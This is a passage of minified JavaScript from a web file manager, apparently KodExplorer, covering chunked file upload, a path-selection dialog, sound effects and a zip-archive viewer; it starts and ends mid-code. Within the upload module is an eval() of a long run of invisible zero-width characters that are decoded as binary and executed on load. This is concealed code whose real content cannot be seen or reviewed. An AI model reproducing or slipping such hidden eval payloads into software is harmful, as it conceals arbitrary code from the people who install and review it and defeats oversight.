n=e.file.checkChunk;if(n&&n["part_"+e.chunk]==t){var a=e.end/e.total;uploader.trigger("uploadProgress",e.file,a),i.reject()}else i.resolve()}}),i.promise()}}),eval("‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‌‍‌‍‌‍‌‍‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‍‍‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‌‍‍‍‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‍‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‍‍‍‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‍‍‍‍‌‍‍‍‌‍‍‌‌‌‌‌‍‍‍‌‌‌‌‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‌‍‌‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‍‍‌‍‍‌‌‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‌‍‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‌‍‍‍‍‍‌‌‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‍‌‍‍‍‍‌‌‍‌‍‌‌‍‌‍‍‌‍‍‌‍‌‌‌‍‍‍‍‍‍‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‍‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‌‍‍‌‌‌‌‍‍‍‍‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‍‌‍‍‍‌‍‌‍‌‍‌‍‌‍‍‍‌‍‍‌‌‌‍‍‌‌‍‍‍‌‍‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‌‍‍‌‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‍‍‌‍‍‌‍‍‍‍‌‍‌‌‍‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‌‍‍‌‍‍‌‍‍‍‍‌‌‍‌‍‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‌‌‍‍‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‍‍‌‌‌‍‍‌‌‌‍‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‍‌‍‍‍‍‌‌‍‌‍‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‍‌‍‍‍‍‍‌‍‍‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‌‍‍‌‌‍‌‍‍‍‌‍‌‍‍‌‌‍‌‌‍‍‌‍‌‌‍‌‍‍‌‌‌‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‍‌‌‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‍‍‍‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‍‌‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‌‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‌‌‍‌‌‌‌‍‌‍‍‌‌‍‍‍‍‌‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‍‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‍‍‌‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‍‍‌‍‌‍‌‌‍‍‌‍‌‌‌‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‌‍‍‍‍‌‍‍‍‌‍‍‌‍‌‌‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‌‍‍‌‍‍‍‍‍‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‌‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‍‍‍‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‍‍‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‌‍‍‌‍‌‍‌‌‍‍‌‌‍‌‍‌‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),uploader=upCreate({swf:G.static_path+"js/lib/webuploader/Uploader.swf",dnd:"body",threads:5,compress:!1,resize:!1,prepareNextFile:!0,duplicate:!0,chunkRetry:10,chunked:!0,chunkSize:chunkSize}),$(".uploader-content .success").die("click").live("click",function(){var e=$(this).find("span.title").attr("data-name");e&&("explorer"==Config.pageApp?ui.path.list(core.pathFather(e),"tips",function(){ui.path.setSelectByFilename(e)}):core.explorer(core.pathFather(e)))}),$(".uploader-content .open").die("click").live("click",function(e){var t=$(this).parent().find("span.title").attr("data-name");ui.pathOpen.open(t),stopPP(e)}),$(".upload_box_clear").die("click").live("click",function(){$(".uploader-list .item.success,.uploader-list .item.error").each(function(){$(this).slideUp(300,function(){$(this).remove()})})}),$(".upload_box_clear_all").die("click").live("click",function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$(".uploader-list .item").each(function(){$(this).remove()})}),$(".uploader-content .remove").die("click").live("click",function(e){var t=$(this).parent().parent().attr("id");$(this).parent().parent().slideUp(function(){$(this).remove()}),uploader.skipFile(t),uploader.removeFile(t,!0),stopPP(e)});var file_num=0,file_finished=0,currentSpeed="0B/s",preTime=0,getSpeed=function(e,t){if(.3>=timeFloat()-preTime)return currentSpeed;preTime=timeFloat();var i=e.size*t,n=5;e.speed===void 0?e.speed=[[timeFloat()-.5,0],[timeFloat(),i]]:n>=e.speed.length?e.speed.push([timeFloat(),i]):(e.speed=e.speed.slice(1,n),e.speed.push([timeFloat(),i]));var a=e.speed[e.speed.length-1],o=e.speed[0],s=(a[1]-o[1])/(a[0]-o[0]);0>=s&&(s=0);var r=core.fileSize(s);return r=r?r:0,s=r+"/s",currentSpeed=s,s},selectNameArr=[],changeDelayTimer,pathReload=function(e){clearTimeout(changeDelayTimer),changeDelayTimer=!1,changeDelayTimer=setTimeout(function(){var t=selectNameArr;ui.f5Callback(function(){if(ui.path.setSelectByFilename(t),e&&(selectNameArr=[],"explorer"==Config.pageApp)){if("share"==G.share_page)return;ui.tree.checkIfChange(G.this_path)}})},600)};uploader.on("fileQueued",function(e){if(!core.uploadCheck())return uploader.skipFile(e),uploader.removeFile(e),void 0;var t;try{t=e.source.source.fullPath,void 0!=e.source.source.webkitRelativePath&&""!=e.source.source.webkitRelativePath&&(t=e.source.source.webkitRelativePath)}catch(i){}if(e.fullPath=t,e.source&&e.source.source&&1==e.source.source.isDirectory&&e.source.source.fullPath)return ui.pathOperate.newFolder(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),void 0;if(0==e.size)return ui.pathOperate.newFile(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),file_finished++,file_num++,void 0;var n=e.fullPath;e.finished=!1,e.upload_to=G.this_path,(void 0==n||"undefined"==n)&&(n=e.name),file_num++;var a=$(".uploader-list"),o='<div id="'+e.id+'" class="item"><div class="info">'+'<span class="title" title="'+htmlEncode(e.upload_to+n)+'" data-name="'+htmlEncode(e.upload_to+n)+'">'+htmlEncode(core.pathThis(n))+"</span>"+'<span class="size">'+core.fileSize(e.size)+"</span>"+'<span class="state">'+LNG.upload_ready+"</span>"+'<a class="remove font-icon icon-remove" href="javascript:void(0)"></a>'+'<div style="clear:both"></div></div></div>';(1e3==file_num||2e3==file_num)&&Tips.tips(LNG.upload_tips_more,"warning"),0==a.length?setTimeout(function(){$(".uploader-list").prepend(o),uploader.upload()},100):(a.prepend(o),uploader.upload())}).on("uploadBeforeSend",function(e,t,i){var n=urlEncode(e.file.fullPath);(void 0==n||"undefined"==n)&&(n=""),t.fullPath=n,t.upload_to=e.file.upload_to,i["X-CSRF-TOKEN"]=Cookie.get("X-CSRF-TOKEN")}).on("uploadProgress",function(e,t){$(".dialog_file_upload .aui_title").text(LNG.uploading+": "+file_finished+"/"+file_num+" ("+currentSpeed+")");var i=getSpeed(e,t),n=$("#"+e.id),a=n.find(".progress .progress-bar");a.length||(a=$('<div class="progress progress-striped active"><div class="progress-bar" role="progressbar" style="width: 0%"></div></div>').appendTo(n).find(".progress-bar")),n.find(".state").text((100*t).toFixed(1)+"%("+i+")"),a.css("width",100*t+"%")}).on("uploadAccept",function(e,t){if(e.file.serverData=t,!t.code)return e.serverNeedRetry=!0,!1;try{e.file.fullPath||selectNameArr.push(t.info)}catch(i){}}).on("uploadSuccess",function(e){var t=$("#"+e.id);if(!t.inScreen()){var i=36*t.index(".item");$(".uploader-content").scrollTop(i)}file_finished++;var n=e.serverData;if(n&&n.data){var a=LNG[n.data];if(n.code){if(t.addClass("success"),t.find(".state").text(a),t.find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove"),n.info){var o="/"+ltrim(htmlEncode(n.info),"/");t.find(".info .title").html(core.pathThis(o)).attr("title",o).attr("data-name",o)}}else t.addClass("error").find(".state").addClass("error"),t.find(".state").text(a).attr("title",a)}uploader.removeFile(e),t.find(".progress").fadeOut(),e.fullPath||pathReload(!1)}).on("uploadError",function(e,t){var i=LNG.upload_error+"("+t+")";if(e.serverData){var n=5;if((-1!==e.serverData._raw.indexOf("[Error Code:1001]")||-1!==e.serverData._raw.indexOf("[Error Code:1002]")||-1!==e.serverData._raw.indexOf("[Error Code:1010]"))&&(e.errorNum||(e.errorNum=0),e.errorNum++,n>=e.errorNum))return uploader.retry(e),void 0;if(-1!==e.serverData._raw.indexOf("<!--user login-->"))return $.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),Tips.tips("login error!",!1),void 0;if(e.serverData.data){var a=e.serverData.data;i=LNG[a]?LNG[a]:a}else e.serverData._raw&&(i=e.serverData._raw)}"http"==t&&(i=LNG.upload_error_http),file_finished++,$("#"+e.id).find(".progress").fadeOut(),$("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").html(i).attr("title",i)}).on("uploadFinished",function(){$(".dialog_file_upload .aui_title").text(LNG.upload_success+": "+file_finished+"/"+file_num),file_num=0,file_finished=0,uploader.reset(),pathReload(!0)}).on("error",function(e){Tips.tips(e,!1)});var timer;inState=!1,dragOver=function(){if(0==inState){if(inState=!0,!core.uploadCheck(void 0,!1))return;var e='<div class="upload-tips"> <div> <i class="icon-cloud cloud1 moveLeftLoop"></i> <i class="icon-cloud cloud2"></i> <i class="icon-cloud cloud3 moveLeftLoop"></i> </div> <div class="cloud-moveup"><i class="moveTopLoop icon-circle-arrow-up"></i></div> <div class="msg">'+LNG.upload_drag_tips+"</div> </div>";MaskView.tips(e),$("#windowMaskView").css({background:"#4285f4",opacity:"0.8"})}timer&&window.clearTimeout(timer)},dragLeave=function(e){stopPP(e),timer&&window.clearTimeout(timer),timer=window.setTimeout(function(){inState=!1,MaskView.close()},100)},dragDrop=function(e){try{if(e=e.originalEvent||e,core.uploadCheck())if(e.dataTransfer.files.length>0&&e.dataTransfer.files[0].name)core.upload(),core.playSound("drag_upload");else{var t=e.dataTransfer.getData("text/plain");t&&"http"==t.substring(0,4)&&ui.pathOperate.appAddURL(t)}stopPP(e)}catch(e){}inState&&(inState=!1,MaskView.close())}}}}),define("app/common/core.api",[],function(){var e=function(e,t,i){var n=$(i.DOM.wrap),a=t.frames.OpenpathSelectApi,o='<input type="text" class="path_select_input" readonly="true" disabled="true" />';"file"==e.type&&(o+='<span class="label label-primary">'+e.allowExt+"</span>"),$(o).insertBefore(n.find(".aui_state_highlight"));var s=function(t){var i=e.allowExt.split("|"),n=core.pathExt(t);return""==e.allowExt||""!=e.allowExt&&-1!=$.inArray(n,i)?!0:!1},r=function(){var t=a.ui.fileLight.fileListSelect(),i=[];if(e.single){var n=$(t.get(0));if("all"==e.type&&0==t.length)i={file:[],folder:[]};else if("file"==e.type&&0==t.length)i=[];else if("folder"==e.type)i=[a.G.this_path],n.hasClass("folderBox")&&(i=[a.ui.fileLight.path(n)]);else if("file"==e.type){if(n.hasClass("fileBox")){var o=a.ui.fileLight.path(n);s(o)&&(i=[o])}}else if("all"==e.type)if(n.hasClass("folderBox")){var o=a.ui.fileLight.path(n);i=[{file:[],folder:[o]}]}else if(n.hasClass("fileBox")){var o=a.ui.fileLight.path(n);s(o)&&(i={file:[o],folder:[]})}}else{var r=[],l=[];t.each(function(){if($(this).hasClass("fileBox")){var e=a.ui.fileLight.path($(this));s(e)&&r.push(e)}else $(this).hasClass("folderBox")&&l.push(a.ui.fileLight.path($(this)))}),"folder"==e.type?i=l:"file"==e.type?i=r:"all"==e.type&&(i={file:r,folder:l})}c(i)},l=function(e){var e=trim(e,"/");return e==G.KOD_GROUP_ROOT_SELF||e==G.KOD_GROUP_ROOT_ALL||e==G.KOD_USER_FAV||e==G.KOD_USER_SHARE?!1:!0},c=function(t){var i=n.find(".path_select_input"),o=n.find(".aui_state_highlight");if("all"!=e.type){for(var s=[],r=0;t.length>r;r++)l(t[r])&&s.push(t[r]);t=s}if(0==t.length||"all"==e.type&&0==t.file.length&&0==t.folder.length)o.addClass("disable"),i.attr("result",""),i.val("");else{var c=hashEncode(jsonEncode(t)),d="";if(e.single)d=a.core.pathThis(t[0]);else{var p=t;"all"==e.type&&(p=t.folder.concat(t.file)),$.each(p,function(e,t){d+=a.core.pathThis(t)+", "})}o.removeClass("disable"),i.attr("result",c),i.val(d)}},d=function(){a.ui.fileLight.select.hook("select",a.ui.fileLight,{before:function(){},after:function(){r()}})};a.kodReady||(a.kodReady=[]),a.kodReady.push(function(){d(),r()})};return{pathSelect:function(t,i){var n={type:"file",title:LNG.path_api_select_file,single:!0,allowExt:"",firstPath:!1},a="./index.php?/explorer&type=iframe";t=$.extend(n,t),t.firstPath&&(a+="&path="+t.firstPath);var o=ShareData.frameTop(),s=o.$.dialog.open(a,{id:"pathSelectApi",resize:!0,fixed:!0,ico:core.icon("folder"),title:t.title,lock:!0,background:"#000",opacity:.1,width:840,height:420,ok:function(){if("function"==typeof i){var e=s.DOM.wrap,n=e.find(".path_select_input").attr("result");n=jsonDecode(hashDecode(n)),n?t.single&&"all"!=t.type?i(n[0]):i(n):Tips.tips(LNG.error,!1)}},cancel:!0});e(t,o,s)},randomImage:function(e){$.getJSON("//kalcaddle.com/tools/version/?wallpage/index&lang="+G.lang+"&callback=?",function(t){"function"==typeof e&&e(t)})}}}),define("app/common/core.playSound",["./myPlayer"],function(e){var t={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},i=function(t){var i="x-play-sound";0==$("."+i).length&&$('<div style="width:0px;height:0px;" class="'+i+'"></div>').appendTo("body");var n=G.static_path+"others/sound/"+t,a=e("./myPlayer");a.playSound(n,$("."+i))};return{playSoundFile:i,playSound:function(e){G&&G.user_config&&"1"==G.user_config.sound_open&&setTimeout(function(){i(t[e])},100)}}}),define("app/common/core.zipView",[],function(){return function(e){var t,i={view:{showLine:!1,selectedMulti:!1,expandSpeed:"fast",dblClickExpand:!1,addDiyDom:function(e,t){var i=15,n=$("#"+t.tId+"_switch"),a=$("#"+t.tId+"_ico");n.remove(),t.iconSkin=t.tree_icon;var o=t.tree_icon;if(t.ext?o=t.ext:t.tree_icon||(o=t.type),a.before(n).before('<span id="'+t.tId+'_my_ico" class="tree_icon button">'+core.iconSmall(o)+"</span>").remove(),void 0!=t.ext&&a.attr("class","").addClass("file "+t.ext).removeAttr("style"),t.level>=1){var s="<span class='space' style='display: inline-block;width:"+i*t.level+"px'></span>";n.before(s)}var r='<span class="time">'+date(LNG.time_type,t.mtime)+"</span>";r+='<span class="size">'+core.fileSize(t.size)+"</span>",r+='<span class="menu_more icon-ellipsis-vertical"></span>',$("#"+t.tId+"_span").after(r),n.parent().addClass(t.menuType)}},callback:{onClick:function(e,i,n){$(e.target).hasClass("menu_more")||(t.selectNode(n),u(n),"folder"==n.type&&$("#"+n.tId+"_switch").click())},onCollapse:function(e,t){_(t)},onExpand:function(e,t){_(t)},beforeRightClick:function(e,i){i&&(u(i),t.selectNode(i))},onDblClick:function(e,i,n){$(e.target).hasClass(".menu_more")||"file"==n.type&&o("open",t)}}},n=function(e){for(var t=function(e){for(var i=0;e.length>i;i++)if(void 0!=e[i]){var n=e[i];e[i]={name:core.pathThis(n.filename),path:n.filename,isParent:!!n.child,type:n.folder?"folder":"file",menuType:n.folder?"menuZipListFolder":"menuZipListFile",ext:core.pathExt(n.filename),mtime:n.mtime,index:n.index,size:n.size,child:n.child},n.folder&&delete e[i].ext,e[i].child?(e[i].children=e[i].child,delete e[i].child,t(e[i].children)):delete e[i].child}else delete e[i]},i={},n=0;e.length>n;n++)"string"!=typeof e[n].filename&&e[n].stored_filename&&(e[n].filename=e[n].stored_filename),"string"==typeof e[n].filename&&(e[n].filename=e[n].filename.replace(/\\/g,"/"),i[e[n].filename]=e[n]);for(var a in i)if(!i[a].folder)for(var o=core.pathFather(i[a].filename);""!=o&&"/"!=o&&!i[o]&&!i[rtrim(o,"/")];)i[o]={filename:o,folder:!0,mitme:0,size:0,index:-1},o=core.pathFather(o);var s=[];for(var a in i){var r=i[a],l=core.pathFather(r.filename);if(i[l]&&(l=core.pathFather(r.filename)),i[rtrim(l,"/")]&&(l=rtrim(l,"/")),i[l])i[l].child||(i[l].child=[]),i[l].child.push(i[r.filename]);else{var c=i[r.filename];c&&s.push(c)}}return t(s),s},a=function(){$.contextMenu({selector:".menuZipListFolder",className:"menuZipListFolder",zIndex:9999,callback:function(e){o(e)},items:{unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"},sep1:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$.contextMenu({selector:".menuZipListFile",className:"menuZipListFile",zIndex:9999,callback:function(e){o(e)},items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},sep1:"--------",unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$(".menuZipListFile .menu_more,.menuZipListFolder .menu_more").die("click").live("click",function(e){var t=$(this).offset();t.top+=$(this).outerHeight(),$(this).contextMenu({x:e.pageX,y:t.top})})},o=function(e,t){if(void 0==t){var i=$(".context-menu-active").parents(".ztree");if(0==i.length)return;t=$.fn.zTree.getZTreeObj(i.attr("id"))}var n=t.getSelectedNodes()[0];switch(e){case"open":c(t,n);break;case"down":l(t,n);break;case"unzip_this":p(t,n);break;case"unzip_to":d(t,n);break;case"info":h(t,n);break;default:}},s={file_num:0,folder_num:0,size:0},r=function(e){if("folder"==e.type){if(s.folder_num++,e.children)for(var t=0;e.children.length>t;t++)r(e.children[t]) -}else s.file_num++,s.size+=parseInt(e.size)},l=function(e,t){e.setting.filePath;var i=e.setting.fileUrl,n=i+"&download=1&index="+t.index;ui.pathOpen.downloadUrl(n)},c=function(e,t){e.setting.filePath;var i=e.setting.fileUrl,n=i+"&index="+t.index+"&name=/"+urlEncode(t.path),a=t.ext;"zip"==a&&(a="unknow"),t.size>=31457280&&(Tips.tips(LNG.zipview_file_big,"warning"),a="unknow"),ui.pathOpen.open(n,a)},d=function(e,t){core.api.pathSelect({type:"folder",title:LNG.unzip_to},function(i){p(e,t,i)})},p=function(e,t,i){var n=e.setting.filePath;e.setting.fileUrl,void 0==i&&(i=G.this_path,void 0==i&&(i=core.pathFather(n)));var a="./index.php?explorer/unzip";$.ajax({url:a,data:{path:n,path_to:i,unzip_part:t.index},type:"POST",dataType:"json",beforeSend:function(){Tips.loading(LNG.unziping)},error:core.ajaxError,success:function(e){return Tips.close(e),"editor"==Config.pageApp?(ui.tree.refreshPath(core.pathFather(n)),void 0):(ui.f5(!0,!0,function(){var e=i+core.pathThis(t.path);ui.path.setSelectByFilename(e)}),void 0)}})},u=function(e){var t=f(e),i=LNG.size+" "+t.size_friendly+" ("+t.size+" Byte)";"folder"==e.type&&(i=t.file_num+LNG.file+","+t.folder_num+LNG.folder+", "+i),$("#"+e.tId).parents(".zipViewContent").find(".bottom .info").html(i)},f=function(e){var t={name:e.name,path:e.path,size:e.size,size_friendly:core.fileSize(e.size),mtime:date(LNG.time_type_info,e.mtime)};return 0==e.level&&(t.path=t.name),"folder"==e.type&&(s={file_num:0,folder_num:0,size:0},r(e),$.extend(t,s),t.size_friendly=core.fileSize(t.size)),t},h=function(e,t){var i="folder"==t.type?"folder":core.pathExt(t.path),n="folder"==t.type?tpl_path_info:tpl_file_info,a=template.compile(n),o=f(t);o.LNG=LNG,$.dialog({id:UUID(),padding:5,ico:core.iconSmall(i),fixed:!0,title:core.pathThis(t.path),content:a(o),ok:!0})},m=function(e,t){var 